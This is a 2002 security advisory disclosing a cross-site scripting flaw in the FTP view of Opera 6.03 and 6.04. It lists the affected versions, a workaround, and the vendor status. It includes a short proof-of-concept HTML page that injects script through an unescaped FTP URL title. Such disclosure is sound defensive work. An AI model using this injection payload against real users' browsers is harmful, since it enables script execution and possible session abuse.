Opera FTP View Cross-Site Scripting Vulnerability

Title:	Opera FTP View Cross-Site Scripting Vulnerability
Date:	4 August 2002 (Last modified: )
Author:	Eiji James Yoshida [ptrs-ejy@bp.iij4u.or.jp] penetration technique research site [Advisories]
Risk:	Medium
Vulnerable:	Windows2000 SP2 Opera 6.03 Windows2000 SP2 Opera 6.04
Not vulnerable:	Opera 6.05
Bugtraq ID:	5401
Overview:	Opera allows running Malicious Scripts due to a bug in 'FTP view' feature. If you click on a malicious link, the script embedded in URL will run. * If the ftp server and the http server are the same address, it is dangerous. Because the cookie may be modified by the attacker. I revised this advisory. I confirmed that a cookie wasn't modified by this vulnerability.
Details:	This problem is in 'FTP view' feature. The '<title>URL</title>' is not escaped.
Exploit code:	<html> <head> <META http-equiv="Refresh" content="5 ; url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]/"> </head> <body> <script>window.open("ftp://[FTPserver]/");</script> </body> </html>
Demonstration:	screen shot
Workaround:	Disable JavaScript.
Vendor status:	Opera Software ASA was notified on 30 June 2002.
Similar vulnerabilities:	Microsoft Internet Explorer 'Folder View for FTP sites' Script Execution Vulnerability
Similar vulnerabilities:	Mozilla FTP View Cross-Site Scripting Vulnerability